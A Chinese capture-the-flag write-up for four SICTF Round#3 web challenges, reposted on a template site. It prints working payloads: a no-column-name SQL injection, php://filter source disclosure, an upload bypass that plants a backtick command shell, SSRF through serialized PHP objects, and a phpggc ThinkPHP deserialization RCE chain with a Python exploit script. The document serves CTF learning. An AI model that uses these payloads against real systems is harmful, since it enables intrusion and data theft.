SICTF Round#3 wp web

这篇具有很好参考价值的文章主要介绍了SICTF Round#3 wp web。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

web

hacker

sql无列名注入;

提示查询username参数,flag在flag表中;

sictf round3,wp,网络安全

传参测试发现,union select 可用,空格被过滤可以使用/**/代替 ,or也被过滤了且无法大小写、双写等绕过,导致无法查询flag表里的字段名,需注意flag在flag表中并不是flag字段,直接联合查询flag表的flag字段查询不到flag,因此就可以想到sql无列名注入,只需知道表名不用知道字段名即可查询字段的数据,payload如下;

?username=joe'union/**/select/**/a/**/from/**/(select/**/1,2/**/as/**/a/**/union/**/select/**/*/**/from/**/flag)/**/as/**/q%23

无列名注入获取flag表中数据;

sictf round3,wp,网络安全

100%_upload

文件上传+文件包含;

进入容器,文件上传界面,且一看url就猜测存在文件包含;

sictf round3,wp,网络安全

尝试file://协议读取/etc/passwd文件成功,存在文件包含,直接读取/flag提示不能直接获取,所以读取upload.php文件;

index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

base64解码upload.php源码如下;

<?php
	if(isset($_FILES['upfile'])){
		$uploaddir = 'uploads/';
		$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
		$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

		$text = file_get_contents($_FILES['upfile']['tmp_name']);


		echo $ext;

		if (!preg_match("/ph.|htaccess/i", $ext)){

			if(preg_match("/<\?php/i", $text)){
				echo "茂夫说:你的文件内容不太对劲哦<br>";
			}
			else{
				move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
				echo "上传成功<br>路径为:" . $uploadfile . "<br>";
			}
		} 
		else {
			echo "恶意后缀哦<br>";
			
		}
	}
?>

发现过滤了ph、htaccess后缀且文件内容不可有php标签,进行标签绕过、上传图片并配合文件包含即可;

# 上传1.png
?><?=`cat /flag`;

包含uploads/1.png获取flag;

sictf round3,wp,网络安全

EZ_SSRF

简单的ssrf,index.php源码如下;

 <?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($_GET['Harder'])) {
    unserialize($_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?>
You don't know how to pass parameters?

ssrf,配合php反序列化使用file://协议即可读取本地文件,dirsearch目录扫描发现admin.php和flag.php;

方法一,直接读取flag.php并base64解码即可获取flag;

<?php

class client{
    public $url = 'file:///var/www/html/flag.php';
    public $payload;
}

echo serialize(new client());
?>

# payload
O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}

sictf round3,wp,网络安全

 方法二,读取admin.php源码如下,发现本地访问admin.php即可获得flag;

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
    die("You can't get flag");
} else {
    echo $flag;
}
?>

ssrf访问本地admin.php,将返回结果base64解码获得flag;

<?php

class client{
    public $url = 'http://127.0.0.1/admin.php';
    public $payload;
}

echo serialize(new client());
?>
# payload
O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}

sictf round3,wp,网络安全

sictf round3,wp,网络安全

Oyst3rPHP

ThinkPHP v6.0.x 反序列化漏洞的利用;

app/controller/Index.php部分源码如下,只需绕过三个if判断即可传参进行反序列化;

class Index extends BaseController
{

    public function index()
    {
		echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";
		
        
		$payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
        
		$key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
            
			echo "Congratulations on getting your first oyster";
			echo "<img src='../Oyster1.png'"."/>";
            
			if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("!!!Oysters don't want you to eat!!!");
            }
			
			echo "WOW!!!Congratulations on getting your second oyster";
			echo "<img src='../Oyster2.png'"."/>";
            
			@unserialize($payload);
			//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
			//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
			//小Tips:细狗函数┗|`O′|┛ 嗷~~
        }
    }

第一个if,使用2个MD5加密后0e开头的字符串绕过MD5值弱比较;

?left=s878926199a&right=QNKCDZO

第二、三个if,key值需包含603THINKPHP且不符合正则匹配,使用php正则的回溯绕过,回溯次数大于1000000时返回Flase;

# post传参
key=1000000个任意字符拼接603THINKPHP

 ThinkPHP v6.0.x 反序列化,直接使用工具生成payload进行rce即可,工具phpgcc:https://github.com/ambionics/phpggc

将phpgcc解压到kali执行如下命令生成rce的payload;

./phpggc ThinkPHP/RCE3 system "cat /Oyst3333333r.php" --base64

###
其中app/controller/Index.php中进行了base64解码,这里要编码
/Oyst3333333r.php为flag的位置,在/vendor/topthink/think-orm/src/Model.php中也有提示

sictf round3,wp,网络安全

最终利用exp如下;文章来源地址https://www.toymoban.com/news/detail-839097.html

import requests
import re

url = 'http://yuanshen.life:37859/?left=s878926199a&right=QNKCDZO'
key = 'a' * 1000000 + '603THINKPHP'
data = {
    'payload': 'Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319',
    'key': key}

res = requests.post(url, data=data)

flag = re.search(r'SICTF{.*}', res.text).group()
print(flag) # SICTF{01a44fce-57db-4ccd-9bbb-dce5301eca92}

到了这里,关于SICTF Round#3 wp web的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2023年春秋杯网络安全联赛 春季赛 wp

    第一部分求解一下pell函数得到x,y 直接使用二项式展开定理即可还原flag 可以直接将z表示出来然后就能求解key了 1day,一个SQL注入改管理员的密码。 payload: 然后计划任务执行读取flag或者反弹shell即可。 上来扫到了dowload目录,然后pyc反编译得到源码。 在numpy.loads存在pickle反序

    2024年02月13日
    浏览(42)
  • 2023年“羊城杯”网络安全大赛 Web方向题解wp 全

    团队名称:ZhangSan 序号:11 不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~ 简单记录一下,实际做题踩坑很多,尝试很多。 先扫了个目录,扫出 start.sh 内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。 开始做题,题目让我访问路由 /

    2024年02月10日
    浏览(38)
  • 贵阳大数据及网络安全精英对抗赛-解题赛WP

    (没写几题,就记录一下,misc写的基本都是佬们打爆的几题,就不写了 (如果有佬出了rust的flag,求佬告诉我一下orz,太菜了,没运行出来,验证不了flag,麻烦佬们告诉下orz) 观察程序,其中有base64、rc4、DES算法, 函数主要逻辑:输入一串字符,前一位和后一位异或,再rc4加密

    2024年02月05日
    浏览(43)
  • 第三届陕西省大学生网络安全技能部分WP

    题目代码如下: payload: http://e2e84684.clsadp.com/?PK=/flag 题目文本 8881088410842088810810842042108108821041010882108881 0为截断,0前面的4位置相加之后为26个大写英文字母的索引,exp如下: 使用kali中join工具爆破出zip密码 在key.jpg中 右键属性里面详细信息获得一串韩文加密 通过在线网站解密获

    2024年02月08日
    浏览(41)
  • LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分

    由于刚接触CTF没多久 还是属于萌新级别的(中专高中生)也没怎么打过比赛记录一下学习的过程大佬绕过即可,后续会继续加油努力。 NSSCTF平台:https://www.nssctf.cn/ PS:记得所有的 flag 都改为 NSSCTF或者LitCTF 我Flag呢? 奇怪,放哪里了,怎么看不见呢?(初级难度) 直接 F12

    2024年02月05日
    浏览(50)
  • 河南省第五届“金盾信安杯”网络与数据安全大赛-WP

    师傅们,我太菜了,除了最后一个小时都还在前20名,结果最后一个小时被踢下去了,做了一道少解的题目也掩饰溃败,被打服了,直接被踢出前40名,babyrsa到底怎么解,呜呜!被打服了!!!!!!!以下是我们队伍的10道题目的wp。 题目一 Crypto-我看看谁还不会RSA 操作内容: 看到该题之后发现是

    2024年02月04日
    浏览(41)
  • “技能兴鲁”职业技能大赛-网络安全赛项-学生组初赛 Crypto WP

    查看代码 考点:共模攻击 EXP 关注微信公众号“中学生CTF”,回复“开始游戏” 按要求回复相关内容分别获取公钥  密文 提示 私钥 公钥 密文 提示 私钥 EXP 查看代码 按加密顺序反解即可,需要注意的是base100表情符号之间的空格要去掉 EXP 查看代码 分析:flag分为了两段 part

    2024年02月05日
    浏览(40)
  • 2023年第三届陕西省大学生网络安全技能大赛 web部分 wp

    总体来说还行,就是又感受到了py的成分,多的不说,星盟出的题,题目质量还是可以的,希望之后通过学习大佬的姿势来长长见识。 目录 EZPOP  RCE unserialize 首先来到页面   点击,就是空白页,查看源代码 F12都会进入空白页,猜测存在js在搞怪。 先打开一个空白页,再f12,

    2024年02月10日
    浏览(45)
  • 2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全

    终于迎来了我的第一百篇文章。 这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。 总结一下:败北,还是太菜了得继续修炼一下。 看到是SSTI,焚靖直接一把梭了。 瞎了,执行 ls / 时候flag文件在命令旁边没看见,find命令找了好久呜呜

    2024年02月07日
    浏览(47)
  • "科来杯"第十届山东省大学生网络安全技能大赛决赛复现WP

    🆑 从朋友那里得来的附件,感觉题目有意思,简单复现一下 1、题目信息 2、解题方法 考察二进制和八进制转换 首先写个脚本把数据转化为字符串便于使用 然后进行转化 exp: 得到 Cyber解即可 1、题目信息 2、解题方法 Base64换表爆破 exp: 直接控制台运行   1、题目信息 一张

    2024年02月08日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包